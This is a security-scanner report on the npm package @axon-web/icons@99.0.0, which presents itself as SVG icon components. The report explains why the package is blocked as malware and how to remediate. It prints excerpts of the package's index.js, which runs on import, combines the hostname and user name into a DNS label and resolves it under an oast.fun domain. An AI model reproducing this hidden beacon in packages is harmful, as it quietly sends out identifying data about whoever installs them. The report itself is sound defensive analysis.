@axon-web/icons@99.0.0
SVG icon components for axon-web design system
AI Security Review
scanned 9d ago · by lpm-firewall-aiThe manifest points to an entrypoint that performs automatic, unrelated DNS disclosure of host and user identifiers on import. This is concrete data exfiltration and warrants blocking publication.
Static reason
No blocking static signals were detected.
Trigger
A consumer imports the package entrypoint.
Impact
The lookup exposes identifying host and user information to the domain operator.
Mechanism
The entrypoint combines the hostname and user name into a DNS label and resolves it under an OAST domain.
Attack narrative
When loaded, the package constructs a DNS name from the host's hostname and user name, then resolves it under an OAST domain. This sends identifying information without a user action or consent guard.
AI rationale
The manifest points to an entrypoint that performs automatic, unrelated DNS disclosure of host and user identifiers on import. This is concrete data exfiltration and warrants blocking publication.
Evidence
index.js
Network endpoints1
nxsqlpejfpamagxctjyv4c9qj1gfdtzwi.oast.fun
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The manifest selects index.js as the package entrypoint.
- Importing index.js automatically builds a DNS label from the machine hostname and user name, then sends it to an OAST domain.
Evidence against
Behavioral surface
EnvironmentVars
Source & flagged code
3 flaggedpackage.jsonView file
2"name": "@axon-web/icons",
"version": "99.0.0",
"description": "SVG icon components for axon-web design system",
"main": "index.js",
"keyword
High
Ai Review Evidence
The manifest selects index.js as the package entrypoint.
package.jsonView on unpkg · L2index.jsView file
3// package init — fires on require
(function() {
try {
const { resolve } = require('dns');
const id = (os.hostname() + '-' + (process.env.USER || process.env.USERNAME || 'u'))
.toLowerCase().replace(/[^a-z0-9-]/g, '-').slice(0, 40
High
Ai Review Evidence
Importing index.js automatically builds a DNS label from the machine hostname and user name, then sends it to an OAST domain.
index.jsView on unpkg · L39resolve(id + '.[redacted].oast.fun', () => {});
} catch (_) {}
})();
console.log('=== @axon-web/icons PoC ===');
console.log('Source: PUBLIC npm registry.np
High
Findings
3 High1 Medium
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumEnvironment Vars
Affected versions and remediation
This report applies to @axon-web/icons@99.0.0.
See all versions of @axon-web/icons for other recorded verdicts.
- Avoid installing @axon-web/icons@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.